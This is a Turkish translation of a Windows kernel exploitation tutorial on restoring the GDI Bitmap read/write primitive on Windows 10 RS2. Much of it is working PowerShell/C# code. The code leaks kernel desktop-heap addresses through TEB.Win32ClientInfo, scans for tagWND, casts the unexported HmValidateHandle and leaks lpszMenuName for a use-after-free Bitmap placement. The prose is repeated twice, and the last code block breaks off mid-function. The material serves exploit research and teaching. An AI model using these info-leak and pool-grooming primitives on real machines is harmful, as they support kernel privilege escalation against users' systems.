- 21 Eki 2015
- 477
- 1
Bölüm 18: Kernel Exploitation -> RS2 Bitmap Necromancy
Merhaba ve Windows Kernel istismar serisinin başka bir bölümüne tekrar hoş geldiniz! Boş zamanım olmadığı için son gönderimden bu yana epey bir zaman geçti, ancak PSKernel-Primitives depomda iyi miktarda kod koyup iyileştiriyorum, bu yüzden PowerShell Kernel ile ilgileniyorsanız lütfen bir göz atın.
Bugün çok sevilen Bitmap çekirdeğimizi Windows 10 RS2'de yeniden canlandıracağız. @Mwrlabs için burada yıl dönümü baskısında mevcut olan yeni azaltma işlemlerinin nasıl atlanacağının ayrıntılarını anlatan bir blog yazısı yazdığım için RS1'i atlıyoruz.
Windows nesnelerini masaüstü yığınından sızdırmak için iki farklı teknikten geçeceğiz ve ardından bu nesneleri kullanarak Bitmap'leri sızdıracağız. Daha fazla arka plan bilgisi için aşağıdaki kaynaklara başvurmanızı şiddetle tavsiye ederim. Her neyse, bu kadar mızmız, hadi başlayalım!
Kaynaklar:
+ Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem (Peng Qui & SheFang Zhong => 360Vulcan) - buradan
+ LPE vulnerabilities exploitation on Windows 10 Anniversary Update (Drozdov Yurii & Drozdova Liudmila) -
buradan
+ Morten Schenk's tweet revealing the first technique (@Blomster81) - buradan
+ Abusing GDI for ring0 exploit primitives: reloaded (@NicoEconomou & Diego Juarez) - buradan https://twitter.com/Blomster81/status/844544024224710656
+ A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition (@FuzzySec) - buradan
+ PSKernel-Primitives (@FuzzySec) - buradan
+ Windows RS2 HmValidateHandle Write-What-Where (@FuzzySec) - buradan
Sızıntıları tıkamak
Microsoft'un Bitmap sızıntılarını önlemek için uyguladığı azaltıcı etkenleri ve bunların her yinelemede nasıl atlandığını kısaca listelemek iyi olur. Ana yapı sürümleri aşağıda referans olarak kullanılmaktadır.
Windows 10 v1511
+ Bu noktada hiçbir azaltma yoktur.
+ Sızıntı yapmak için, PEB'den GdiSharedHandleTable için bir tutamaç aldık, doğru GDI_CELL yapısını bulmak için bir arama yaptık ve ardından Bitmap SURFOBJ'nin Kernel adresini açıklayan pKernelAddress'i okuduk. Örnek kod bulunabilir burada.
Windows 10 RS1 v1607
+ Microsoft, GDI_CELL yapısında pKernelAddress'i geçersiz kılarak eski infoleak'i öldürdü.
+ Sevilen Bitmap'imiz (sayfalı havuz) ile aynı havuzda bulunan birkaç nesnenin sızdırılabileceği bulundu. Bu, user32'den gSharedInfo (global değişken) adresini alarak, aheList HANDLEENTRY dizisinin adresini okuyarak, doğru dizi girişini bularak ve son olarak nesnenin çekirdek adresini elde etmek için phead öğesini okuyarak elde edildi. Bit eşlemimizin adresini doğrudan alamasak da, büyük boyutlu nesneleri işlemek / sızdırmak (düşük entropili büyük bir havuzda son bulmasını sağlamak) ve ardından orijinal nesnenin serbest olduğu bir UAF tarzı saldırı gerçekleştirmek mümkündü. 'd ve yerine ayrılan Bitmap. Örnek kod bulunabilir burada.
Windows 10 RS2 v1703
+ Bunu bilmiyor muydunuz, Microsoft phead işaretçisini geçersiz kılarak sızıntıyı ortadan kaldırdı.
+ Bu yazıda, Windows nesnelerini sızdırmak için kullanıcı eşlemeli Masaüstü yığınını nasıl kullanabileceğimizi ve daha önce yaptığımıza benzer şekilde, Bitmap ilkelimizi yeniden kazanmak için UAF tarzı bir saldırı gerçekleştireceğimizi tartışacağız!
Sızıntı 1 => TEB.Win32ClientInfo
Yapmak istediğimiz ilk şey, tagWND ve tagCLS Pencere yapıları için Kernel adreslerini sızdırmaktır. İkinci sızıntının anlaşılması için daha iyi bir arka plan sağladığı için Morten sızıntısı ile başlayacağız.
Aşağıdaki tweet, kullanıcı eşlemeli Masaüstü öbeğinin adresini sızdırmak için ihtiyacımız olan tüm ayrıntıları ve kullanıcı modu sürümünden çekirdek modu sürümüne (ulClientDelta) ofsetin nasıl hesaplanacağını bize veriyor.
Görünüşe göre kullanıcı modu sürümüne işaretçi TEB.Win32ClientInfo + 0x28'de saklanıyor ve çekirdek modu sürümüne işaretçi bu adresten başka bir 0x28'de saklanıyor. İstemci deltası ise basitçe çekirdek adresi eksi kullanıcı adresidir. PowerShell'de bu verileri bizim için çeken bir şeyi kolayca komut dosyası oluşturabiliriz.
POC'umuzu çalıştırmak aşağıdaki çıktıyı verir.
Bu değerleri KD'de kısaca teyit edebiliriz.
Masaüstü yığınının analizi bu yazının kapsamı dışındadır, daha fazla bilgi için buraya göz atabilirsiniz.
Masaüstü Yığını Tarama
Harika, sonraki adım bir Pencere nesnesi oluşturmak ve bulmak için Masaüstü Yığını taramaktır. Microsoft, insanların tagWND ve tagCLS (..iç çekmek :d? ..) için sembollere ihtiyaç duymadığına karar verdiğinden (Windows 8'den sonra), bu yapılara Windows 7'de hızlıca bir göz atacağız.
Gördüğümüz gibi tagWND'nin ilk IntPtr boyutlu değeri Pencere tutamacısıdır (CreateWindow / Ex tarafından döndürülür). Ayrıca tagWND-> THRDESKHEAD-> pSelf'in Kernel'de tagWND için bir işaretçi olduğuna ve aslında ulClientDelta'yı kullanıcı tagWND'den Kernel tagWND'yi çıkararak hesaplayabileceğimize dikkat edin. Unutulmaması gereken son bir nokta, tagWND ve tagCLS yapılarının Windows 10 RS2'de değiştirilmiş olmasıdır. Işık tersine çevrilmesi, aşağıdaki ilgili ofset değişikliklerini gösterdi.
x64 RS2 Öncesi (15063)
+ Pencere tutamacı => 0x0
+ pSelf => 0x20
+ pcls => 0x98
+ lpszMenuNameOffset => pcls + 0x88
x64 RS2 Sonrası (15063)
+ Pencere tutamacı => 0x0
+ pSelf => 0x20
+ pcls => 0xa8
+ lpszMenuNameOffset => pcls + 0x90
Masaüstü Yığınında bir Pencereyi bulmak oldukça basittir, Masaüstü Yığının tabanından başlayarak IntPtr boyutlu değerleri okuyabilir ve bunları belirli bir Pencere tutamacıyla karşılaştırabiliriz. Bir eşleşme bulduğumuzda, tagWND yapısının başlangıcına ofsetimiz olduğunu biliyoruz. POC'umuzu güncelleyelim ve bir deneyelim.
Bu tür bir okuma işlemini yaparken ek yük yoktur, aşağıdaki sonuçları hemen geri alırız. PowerShell isteminin geri dönmediğine dikkat edin, bunun nedeni komut dosyası çıkmadan önce kesmemiz gerektiğidir.
KD'deki bazı hızlı dq / db'ler, ilgili tüm ofsetleri başarıyla hesapladığımızı gösteriyor.
Sızıntı 2 => User32 :: HmValidateHandle
HmValidateHandle'ın kullanımı ilk olarak @kernelpool tarafından 2011 tarihli Kernel Attacks through User-Mode Callbacks adlı makalesinde tartışıldı ve daha sonra, Fancy Bear tarafından istismar edilen CVE-2016-7255 dahil olmak üzere bir dizi istismarda kullanıldı.
HmValidateHandle, bir Window nesnesine bir tutamaç sağlayabildiğimiz ve işaretçiyi Masaüstü Öbek üzerindeki kullanıcı eşlemeli tagWND nesnesine geri döndürdüğü için çok ilginç bir fonksiyondur, o kadar da kullanışlı değil! Böylelikle tüm TEB ayrıştırmasını ve kaba zorlamayı aşabiliriz. Tek sorun, HmValidateHandle'ın User32 tarafından dışa aktarılmamasıdır, bu nedenle adresini almak için bazı hileler yapmamız ve ardından bir temsilci atmamız gerekir.
Birçok genel hesaptan HmValidateHandle'ın dışa aktarılan User32 :: IsMenu işlevine yakın olduğunu anlıyoruz, hadi KD'de buna bir göz atalım.
Gerçekten acısız bir güzel! Tek yapmamız gereken, User32 :: IsMenu'nun çalışma zamanı adresini almak, 0xE8'in ilk oluşumunu aramak ve işaretçiyi temsilci olarak atamaktır. Bunu yapmak için aşağıdaki PowerShell kod parçacığını kullanabiliriz.
Yukarıda POC'yi çalıştırmak bize aslında ilk sızıntıyla aynı sonucu verir, ancak daha az adımla!
Use-After-Free-Bitmap
Yine de, sanırım okuyucunun sorusu, Windows nesnelerini neden önemsiyoruz? Bitmap'im nerede seni adi? Pencere menü adı (lpszMenuName), bitmap'imiz ile aynı Kernel havuzunda tahsis edilmiştir. Buradaki fikir, büyük bir Pencere menü adı ayırmamız, onu serbest bırakmamız ve daha sonra boş belleği yeniden kullanacak olan Bitmap'imizi tahsis etmemizdir. Bu biraz zor görünüyor, ancak menü adını 4kb'den daha büyük yaparsak, düşük entropiye sahip büyük havuzda sona erer ve bu UAF tarzı sızıntıyı% 100 güvenilir kılar. Bu işlem Hızlandırıcı Tabloları kullanan RS1 baypas işlemiyle neredeyse aynıdır.
Aşağıdaki görüntü bu süreci göstermektedir.
Bunu başarmak için kullanılan PowerShell işlevi aşağıda görülebilir. Daha mantıklı bir yorum için lütfen PSKernel-Primitives deposuna bakın.
Şuna bir bakalım.
SURFOBJ yapısı oldukça farklı ve bunun için herhangi bir sembolümüz olmasa da sızıntının başarılı olduğunu kolayca söyleyebiliriz.
Son düşünceler
Hemen hemen bu kadar! Çok sevilen Bitmap ilkelimiz, şimdiye kadar Microsoft tarafından gerçekleştirilen iki tur azaltmadan sağ çıktı. Bitmapler, çok çeşitli Kernel istismar senaryolarında uygulanabilen gerçekten güçlü (ve kullanışlı) bir okuma / yazma ilkeli sağlar. Kaçınılmaz olarak, Microsoft bu ilkeli biz onu sonsuza dek kaybedene kadar dövmeye devam edecek, ancak RS3 vurduğunda 3. tura geri dönebileceğimizi kim bilebilir....
Merhaba ve Windows Kernel istismar serisinin başka bir bölümüne tekrar hoş geldiniz! Boş zamanım olmadığı için son gönderimden bu yana epey bir zaman geçti, ancak PSKernel-Primitives depomda iyi miktarda kod koyup iyileştiriyorum, bu yüzden PowerShell Kernel ile ilgileniyorsanız lütfen bir göz atın.
Bugün çok sevilen Bitmap çekirdeğimizi Windows 10 RS2'de yeniden canlandıracağız. @Mwrlabs için burada yıl dönümü baskısında mevcut olan yeni azaltma işlemlerinin nasıl atlanacağının ayrıntılarını anlatan bir blog yazısı yazdığım için RS1'i atlıyoruz.
Windows nesnelerini masaüstü yığınından sızdırmak için iki farklı teknikten geçeceğiz ve ardından bu nesneleri kullanarak Bitmap'leri sızdıracağız. Daha fazla arka plan bilgisi için aşağıdaki kaynaklara başvurmanızı şiddetle tavsiye ederim. Her neyse, bu kadar mızmız, hadi başlayalım!
Kaynaklar:
+ Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem (Peng Qui & SheFang Zhong => 360Vulcan) - buradan
+ LPE vulnerabilities exploitation on Windows 10 Anniversary Update (Drozdov Yurii & Drozdova Liudmila) -
buradan
+ Morten Schenk's tweet revealing the first technique (@Blomster81) - buradan
+ Abusing GDI for ring0 exploit primitives: reloaded (@NicoEconomou & Diego Juarez) - buradan https://twitter.com/Blomster81/status/844544024224710656
+ A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition (@FuzzySec) - buradan
+ PSKernel-Primitives (@FuzzySec) - buradan
+ Windows RS2 HmValidateHandle Write-What-Where (@FuzzySec) - buradan
Sızıntıları tıkamak
Microsoft'un Bitmap sızıntılarını önlemek için uyguladığı azaltıcı etkenleri ve bunların her yinelemede nasıl atlandığını kısaca listelemek iyi olur. Ana yapı sürümleri aşağıda referans olarak kullanılmaktadır.
Windows 10 v1511
+ Bu noktada hiçbir azaltma yoktur.
+ Sızıntı yapmak için, PEB'den GdiSharedHandleTable için bir tutamaç aldık, doğru GDI_CELL yapısını bulmak için bir arama yaptık ve ardından Bitmap SURFOBJ'nin Kernel adresini açıklayan pKernelAddress'i okuduk. Örnek kod bulunabilir burada.
Windows 10 RS1 v1607
+ Microsoft, GDI_CELL yapısında pKernelAddress'i geçersiz kılarak eski infoleak'i öldürdü.
+ Sevilen Bitmap'imiz (sayfalı havuz) ile aynı havuzda bulunan birkaç nesnenin sızdırılabileceği bulundu. Bu, user32'den gSharedInfo (global değişken) adresini alarak, aheList HANDLEENTRY dizisinin adresini okuyarak, doğru dizi girişini bularak ve son olarak nesnenin çekirdek adresini elde etmek için phead öğesini okuyarak elde edildi. Bit eşlemimizin adresini doğrudan alamasak da, büyük boyutlu nesneleri işlemek / sızdırmak (düşük entropili büyük bir havuzda son bulmasını sağlamak) ve ardından orijinal nesnenin serbest olduğu bir UAF tarzı saldırı gerçekleştirmek mümkündü. 'd ve yerine ayrılan Bitmap. Örnek kod bulunabilir burada.
Windows 10 RS2 v1703
+ Bunu bilmiyor muydunuz, Microsoft phead işaretçisini geçersiz kılarak sızıntıyı ortadan kaldırdı.
+ Bu yazıda, Windows nesnelerini sızdırmak için kullanıcı eşlemeli Masaüstü yığınını nasıl kullanabileceğimizi ve daha önce yaptığımıza benzer şekilde, Bitmap ilkelimizi yeniden kazanmak için UAF tarzı bir saldırı gerçekleştireceğimizi tartışacağız!
Sızıntı 1 => TEB.Win32ClientInfo
Yapmak istediğimiz ilk şey, tagWND ve tagCLS Pencere yapıları için Kernel adreslerini sızdırmaktır. İkinci sızıntının anlaşılması için daha iyi bir arka plan sağladığı için Morten sızıntısı ile başlayacağız.
Aşağıdaki tweet, kullanıcı eşlemeli Masaüstü öbeğinin adresini sızdırmak için ihtiyacımız olan tüm ayrıntıları ve kullanıcı modu sürümünden çekirdek modu sürümüne (ulClientDelta) ofsetin nasıl hesaplanacağını bize veriyor.
Görünüşe göre kullanıcı modu sürümüne işaretçi TEB.Win32ClientInfo + 0x28'de saklanıyor ve çekirdek modu sürümüne işaretçi bu adresten başka bir 0x28'de saklanıyor. İstemci deltası ise basitçe çekirdek adresi eksi kullanıcı adresidir. PowerShell'de bu verileri bizim için çeken bir şeyi kolayca komut dosyası oluşturabiliriz.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr TebBaseAddress;
public IntPtr ClientId;
public IntPtr AffinityMask;
public IntPtr Priority;
public IntPtr BasePriority;
}
public static class TEB
{
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationThread(
IntPtr hThread,
int ThreadInfoClass,
ref _THREAD_BASIC_INFORMATION ThreadInfo,
int ThreadInfoLength,
ref int ReturnLength);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentThread();
}
"@
# Pseudo handle => -2
$CurrentHandle = [TEB]::GetCurrentThread()
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
$RetLen = New-Object Int
$CallResult = [TEB]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
echo "`n[+] _TEB.Win32ClientInfo: $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap: $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta: $('{0:X16}' -f ($TEB_KernelDesktopHeap-$TEB_UserKernelDesktopHeap)
POC'umuzu çalıştırmak aşağıdaki çıktıyı verir.
Bu değerleri KD'de kısaca teyit edebiliriz.
Masaüstü yığınının analizi bu yazının kapsamı dışındadır, daha fazla bilgi için buraya göz atabilirsiniz.
Masaüstü Yığını Tarama
Harika, sonraki adım bir Pencere nesnesi oluşturmak ve bulmak için Masaüstü Yığını taramaktır. Microsoft, insanların tagWND ve tagCLS (..iç çekmek :d? ..) için sembollere ihtiyaç duymadığına karar verdiğinden (Windows 8'den sonra), bu yapılara Windows 7'de hızlıca bir göz atacağız.
Gördüğümüz gibi tagWND'nin ilk IntPtr boyutlu değeri Pencere tutamacısıdır (CreateWindow / Ex tarafından döndürülür). Ayrıca tagWND-> THRDESKHEAD-> pSelf'in Kernel'de tagWND için bir işaretçi olduğuna ve aslında ulClientDelta'yı kullanıcı tagWND'den Kernel tagWND'yi çıkararak hesaplayabileceğimize dikkat edin. Unutulmaması gereken son bir nokta, tagWND ve tagCLS yapılarının Windows 10 RS2'de değiştirilmiş olmasıdır. Işık tersine çevrilmesi, aşağıdaki ilgili ofset değişikliklerini gösterdi.
x64 RS2 Öncesi (15063)
+ Pencere tutamacı => 0x0
+ pSelf => 0x20
+ pcls => 0x98
+ lpszMenuNameOffset => pcls + 0x88
x64 RS2 Sonrası (15063)
+ Pencere tutamacı => 0x0
+ pSelf => 0x20
+ pcls => 0xa8
+ lpszMenuNameOffset => pcls + 0x90
Masaüstü Yığınında bir Pencereyi bulmak oldukça basittir, Masaüstü Yığının tabanından başlayarak IntPtr boyutlu değerleri okuyabilir ve bunları belirli bir Pencere tutamacıyla karşılaştırabiliriz. Bir eşleşme bulduğumuzda, tagWND yapısının başlangıcına ofsetimiz olduğunu biliyoruz. POC'umuzu güncelleyelim ve bir deneyelim.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr TebBaseAddress;
public IntPtr ClientId;
public IntPtr AffinityMask;
public IntPtr Priority;
public IntPtr BasePriority;
}
public class DesktopHeapGDI
{
delegate IntPtr WndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
struct WNDCLASS
{
public uint style;
public IntPtr lpfnWndProc;
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszMenuName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszClassName;
}
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern System.UInt16 RegisterClassW(
[System.Runtime.InteropServices.In] ref WNDCLASS lpWndClass
);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern IntPtr CreateWindowExW(
UInt32 dwExStyle,
[MarshalAs(UnmanagedType.LPWStr)]
string lpClassName,
[MarshalAs(UnmanagedType.LPWStr)]
string lpWindowName,
UInt32 dwStyle,
Int32 x,
Int32 y,
Int32 nWidth,
Int32 nHeight,
IntPtr hWndParent,
IntPtr hMenu,
IntPtr hInstance,
IntPtr lpParam
);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern System.IntPtr DefWindowProcW(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam
);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern bool DestroyWindow(
IntPtr hWnd
);
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationThread(
IntPtr hThread,
int ThreadInfoClass,
ref _THREAD_BASIC_INFORMATION ThreadInfo,
int ThreadInfoLength,
ref int ReturnLength);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError = true)]
public static extern **** DebugBreak();
private IntPtr m_hwnd;
public IntPtr CustomWindow(string class_name, string menu_name)
{
m_wnd_proc_delegate = CustomWndProc;
WNDCLASS wind_class = new WNDCLASS();
wind_class.lpszClassName = class_name;
wind_class.lpszMenuName = menu_name;
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
UInt16 class_atom = RegisterClassW(ref wind_class);
m_hwnd = CreateWindowExW(
0,
class_name,
String.Empty,
0,
0,
0,
0,
0,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero
);
return m_hwnd;
}
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
private WndProc m_wnd_proc_delegate;
}
"@
#------------------[Create Window]
# Call nonstatic public method => delegWndProc
$DesktopHeapGDI = New-Object DesktopHeapGDI
# Menu name buffer
$Buff = "A"*0x8F0
$Handle = $DesktopHeapGDI.CustomWindow("TestWindow",$Buff)
#$Handle.ToInt64()
echo "`n[+] Window handle: $Handle"
#------------------[Leak Desktop Heap]
# Pseudo handle => -2
$CurrentHandle = [DesktopHeapGDI]::GetCurrentThread()
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
$RetLen = New-Object Int
$CallResult = [DesktopHeapGDI]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
$ulClientDelta = $TEB_KernelDesktopHeap - $TEB_UserKernelDesktopHeap
echo "`n[+] _TEB.Win32ClientInfo: $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap: $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta: $('{0:X16}' -f $ulClientDelta)"
#------------------[Parse User Desktop Heap]
echo "`n[+] Parsing Desktop heap.."
for ($i=0;$i -lt 0xFFFFF;$i=$i+8) {
$ReadHandle = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap + $i)
if ($ReadHandle -eq $Handle.ToInt64()) {
echo "[!] w00t, found handle!"
$UsertagWND = $TEB_UserKernelDesktopHeap + $i
$KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($UsertagWND + 0xa8)
break
}
}
echo "`n[+] User tagWND: $('{0:X16}' -f $($UsertagWND))"
echo "[+] User tagCLS: $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
echo "[+] Kernel tagWND: $('{0:X16}' -f $($UsertagWND+$ulClientDelta))"
echo "[+] Kernel tagCLS: $('{0:X16}' -f $($KerneltagCLS))"
echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
#------------------[Break]
Start-Sleep -s 20
[DesktopHeapGDI]::DebugBreak()
Bu tür bir okuma işlemini yaparken ek yük yoktur, aşağıdaki sonuçları hemen geri alırız. PowerShell isteminin geri dönmediğine dikkat edin, bunun nedeni komut dosyası çıkmadan önce kesmemiz gerektiğidir.
KD'deki bazı hızlı dq / db'ler, ilgili tüm ofsetleri başarıyla hesapladığımızı gösteriyor.
Sızıntı 2 => User32 :: HmValidateHandle
HmValidateHandle'ın kullanımı ilk olarak @kernelpool tarafından 2011 tarihli Kernel Attacks through User-Mode Callbacks adlı makalesinde tartışıldı ve daha sonra, Fancy Bear tarafından istismar edilen CVE-2016-7255 dahil olmak üzere bir dizi istismarda kullanıldı.
HmValidateHandle, bir Window nesnesine bir tutamaç sağlayabildiğimiz ve işaretçiyi Masaüstü Öbek üzerindeki kullanıcı eşlemeli tagWND nesnesine geri döndürdüğü için çok ilginç bir fonksiyondur, o kadar da kullanışlı değil! Böylelikle tüm TEB ayrıştırmasını ve kaba zorlamayı aşabiliriz. Tek sorun, HmValidateHandle'ın User32 tarafından dışa aktarılmamasıdır, bu nedenle adresini almak için bazı hileler yapmamız ve ardından bir temsilci atmamız gerekir.
Birçok genel hesaptan HmValidateHandle'ın dışa aktarılan User32 :: IsMenu işlevine yakın olduğunu anlıyoruz, hadi KD'de buna bir göz atalım.
Gerçekten acısız bir güzel! Tek yapmamız gereken, User32 :: IsMenu'nun çalışma zamanı adresini almak, 0xE8'in ilk oluşumunu aramak ve işaretçiyi temsilci olarak atamaktır. Bunu yapmak için aşağıdaki PowerShell kod parçacığını kullanabiliriz.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public class HmValidateHandleBitmap
{
delegate IntPtr WndProc(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
struct WNDCLASS
{
public uint style;
public IntPtr lpfnWndProc;
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszMenuName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszClassName;
}
[DllImport("user32.dll")]
static extern System.UInt16 RegisterClassW(
[In] ref WNDCLASS lpWndClass);
[DllImport("user32.dll")]
public static extern IntPtr CreateWindowExW(
UInt32 dwExStyle,
[MarshalAs(UnmanagedType.LPWStr)]
string lpClassName,
[MarshalAs(UnmanagedType.LPWStr)]
string lpWindowName,
UInt32 dwStyle,
Int32 x,
Int32 y,
Int32 nWidth,
Int32 nHeight,
IntPtr hWndParent,
IntPtr hMenu,
IntPtr hInstance,
IntPtr lpParam);
[DllImport("user32.dll")]
static extern System.IntPtr DefWindowProcW(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[DllImport("user32.dll")]
public static extern bool DestroyWindow(
IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool UnregisterClass(
String lpClassName,
IntPtr hInstance);
[DllImport("kernel32",CharSet=CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
public delegate IntPtr HMValidateHandle(
IntPtr hObject,
int Type);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
public UInt16 CustomClass(string class_name, string menu_name)
{
m_wnd_proc_delegate = CustomWndProc;
WNDCLASS wind_class = new WNDCLASS();
wind_class.lpszClassName = class_name;
wind_class.lpszMenuName = menu_name;
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
return RegisterClassW(ref wind_class);
}
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
private WndProc m_wnd_proc_delegate;
}
"@
#------------------[Create/Destroy Window]
# Call nonstatic public method => delegWndProc
$AtomCreate = New-Object HmValidateHandleBitmap
function Create-WindowObject {
$MenuBuff = "A"*0x8F0
$hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
[HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
}
function Destroy-WindowObject {
param ($Handle)
$CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
$CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
}
#------------------[Cast HMValidateHandle]
function Cast-HMValidateHandle {
$hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
$lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
# Get HMValidateHandle pointer
for ($i=0;$i-lt50;$i++) {
if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
$HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
[IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
}
}
if ($lpHMValidateHandle) {
# Cast IntPtr to delegate
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
}
}
#------------------[Window Leak]
function Leak-lpszMenuName {
param($WindowHandle)
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
$pCLSOffset = 0xa8
$lpszMenuNameOffset = 0x90
} else {
$pCLSOffset = 0x98
$lpszMenuNameOffset = 0x88
}
# Cast HMValidateHandle & get window desktop heap pointer
$HMValidateHandle = Cast-HMValidateHandle
$lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
# Calculate all the things
$ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
$KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
$lpszMenuName = [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
